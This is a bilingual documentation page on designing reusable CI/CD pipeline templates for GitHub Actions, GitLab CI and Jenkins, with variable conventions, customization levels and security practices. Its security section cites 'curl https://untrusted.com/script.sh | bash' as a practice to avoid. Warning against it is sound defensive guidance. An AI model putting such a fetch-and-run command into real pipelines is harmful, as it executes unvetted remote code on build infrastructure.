Skip to content

🎼 Pipeline Template Philosophy

🎯 Template vs Configuración Específica

╔═══════════════════════════════════════════════════════════════════════════╗ ║ AQUÍ (INFRA) │ EN MÓDULOS ESPECÍFICOS ║ ╠══════════════════════════════╪════════════════════════════════════════════╣ ║ Estructura de stages │ Qué hace cada stage ║ ║ Variables parametrizadas │ Valores específicos ║ ║ Steps genéricos │ Comandos específicos ║ ║ Trigger patterns │ Branch rules específicas ║ ║ Artifact handling pattern │ Artifacts específicos a subir ║ ║ Runner/agent requirements │ Runners específicos (GPU, audio, etc) ║ ║ Notification skeleton │ Notificaciones específicas ║ ╚═══════════════════════════════════════════════════════════════════════════╝

📐 Diseño de Templates

Principios Core

  1. Parametrizable con Variables 

    # ❌ Hardcoded
runs-on: ubuntu-latest

# ✅ Parametrizable
runs-on: ${{ env.RUNNER_OS }}

  2. Extensible vía Includes 

    # Template base puede ser extendido
jobs:
  build:
    uses: ./.github/workflows/base-template.yml
    with:
      custom_param: value

  3. Reusable entre Proyectos

  4. No asumir estructura de directorios específica
  5. Variables para todas las paths

  6. Sin dependencias de herramientas específicas hardcoded

  7. Self-Documenting

  8. Comentarios explican cada sección
  9. Variables claramente nombradas
  10. Ejemplos de uso incluidos

🔄 Uso Pattern

┌────────────────────────────────────────────────────────────┐
│ FLUJO DE TRABAJO                                           │
├────────────────────────────────────────────────────────────┤
│ 1. Copiar template relevante                              │
│    cp pipeline_templates/github_workflows_template.yml    │
│       .github/workflows/build.yml                          │
│                                                            │
│ 2. Rellenar variables                                      │
│    $DEFAULT_BRANCH → main                                 │
│    $BUILD_TYPE → Release                                  │
│    $RUNNER_OS → ubuntu-latest                             │
│                                                            │
│ 3. Customizar stages necesarios                           │
│    - Agregar stage de packaging                           │
│    - Agregar stage de code signing                        │
│    - Agregar stage de deployment                          │
│                                                            │
│ 4. Commit en módulo específico                            │
│    git add .github/workflows/build.yml                    │
│    git commit -m "Add CI pipeline for module X"           │
└────────────────────────────────────────────────────────────┘

📚 Templates Disponibles

1. GitHub Actions Template

Archivo: github_workflows_template.yml

Características: - Multi-OS build matrix - Artifact upload/download - Cache dependencies - PR comments - Status badges

Uso ideal para: - Open source projects - Public repositories - Projects using GitHub ecosystem

2. GitLab CI Template

Archivo: gitlab_ci_template.yml

Características: - Pipeline stages - Job dependencies - Artifact passing between stages - GitLab-specific features (merge request pipelines)

Uso ideal para: - Self-hosted GitLab - Enterprise projects - Projects requiring complex DAG pipelines

3. Jenkins Template

Archivo: jenkins_template.groovy

Características: - Declarative pipeline syntax - Agent selection - Post-build actions - Workspace cleanup

Uso ideal para: - Legacy CI/CD infrastructure - Complex enterprise builds - On-premise build servers

🔧 Customization Guide

Nivel 1: Variables Básicas

Solo reemplazar variables $VARIABLE_NAME:

# Template
runs-on: $RUNNER_OS

# Customizado
runs-on: ubuntu-latest

Nivel 2: Agregar Steps

Insertar steps adicionales en stages existentes:

# Template
- name: Build
  run: echo "Build commands here"

# Customizado
- name: Setup Audio Drivers
  run: sudo apt-get install libasound2-dev

- name: Build
  run: cmake --build build --config Release

Nivel 3: Agregar Stages

Agregar stages completamente nuevos:

# Agregar después de 'test' stage
- name: Package
  run: cpack -G DEB

- name: Code Sign
  run: codesign --sign "$CERT" build/AudioLab.vst3

Nivel 4: Modificar Lógica

Cambiar triggers, conditions, matrix builds:

# Template
on:
  push:
    branches: [ $DEFAULT_BRANCH ]

# Customizado para release automation
on:
  push:
    tags:
      - 'v*.*.*'

🎨 Template Variables Convention

Naming Convention

$UPPER_SNAKE_CASE    - Para reemplazo manual
${env.CamelCase}     - Para variables de entorno (GitHub Actions)
$CI_VARIABLE_NAME    - Para variables CI built-in (GitLab)
${params.variable}   - Para parámetros de build (Jenkins)

Common Variables

Variable Description Example Value
$DEFAULT_BRANCH Main branch name main, master, develop
$BUILD_TYPE CMake build type Release, Debug, RelWithDebInfo
$CMAKE_VERSION CMake version 3.25, 3.28
$RUNNER_OS CI runner OS ubuntu-latest, macos-13, windows-2022
$ARTIFACT_PATH Build artifacts build/*.vst3, dist/*
$AGENT_LABEL Jenkins agent linux-audio, windows-build
$TEST_COMMAND Test execution ctest, pytest, npm test

🔒 Security Best Practices

✅ DO in Templates:

  1. Use Secrets for Sensitive Data 

    env:
  API_KEY: ${{ secrets.API_KEY }}  # Not hardcoded

  2. Pin Action Versions 

    - uses: actions/checkout@v3  # Specific version, not @main

  3. Minimal Permissions 

    permissions:
  contents: read  # Not 'write' unless necessary

  4. Validate Inputs 

    if: github.event_name == 'pull_request'  # Explicit checks

❌ DON'T in Templates:

  1. No Hardcoded Secrets 

    # ❌ NEVER
API_KEY: "sk_live_123456789"

  2. No Overly Broad Triggers 

    # ❌ Dangerous
on: [push, pull_request, workflow_dispatch, schedule]

  3. No Arbitrary Code Execution 

    # ❌ Security risk
run: curl https://untrusted.com/script.sh | bash

📊 Template Maintenance

Versioning Strategy

pipeline_templates/
├── v1/
│   ├── github_workflows_template.yml
│   └── gitlab_ci_template.yml
├── v2/  # Breaking changes
│   ├── github_workflows_template.yml  # Updated
│   └── gitlab_ci_template.yml
└── latest/  # Symlink to current version
    └── github_workflows_template.yml -> ../v2/github_workflows_template.yml

Update Policy

  • Patch updates: Bug fixes, documentation improvements
  • Minor updates: New features, backward-compatible
  • Major updates: Breaking changes, require migration

Migration Guides

When templates change significantly, provide migration docs:

# Migrating from v1 to v2

## Breaking Changes
- Variable naming: `$BRANCH` → `$DEFAULT_BRANCH`
- Stage renamed: `build` → `compile`

## Migration Steps
1. Update variable names in your pipeline
2. Rename stage references
3. Test in feature branch
4. Deploy to production

🧪 Testing Templates

Validation Checklist

Before committing template changes:

  • Syntax validation (yamllint, shellcheck)
  • Variable placeholders clearly marked
  • Comments explain non-obvious sections
  • Example usage provided
  • Works on all target platforms
  • Security review completed
  • Documentation updated

Example Test

# Validate GitHub Actions YAML
yamllint github_workflows_template.yml

# Check for common mistakes
grep -r "hardcoded_password" .
grep -r "TODO" .

📖 Documentation Requirements

Each template must include:

  1. Header Comment - Purpose, usage, variables
  2. Inline Comments - Explain each major section
  3. Variable Documentation - What each variable controls
  4. Example - Complete working example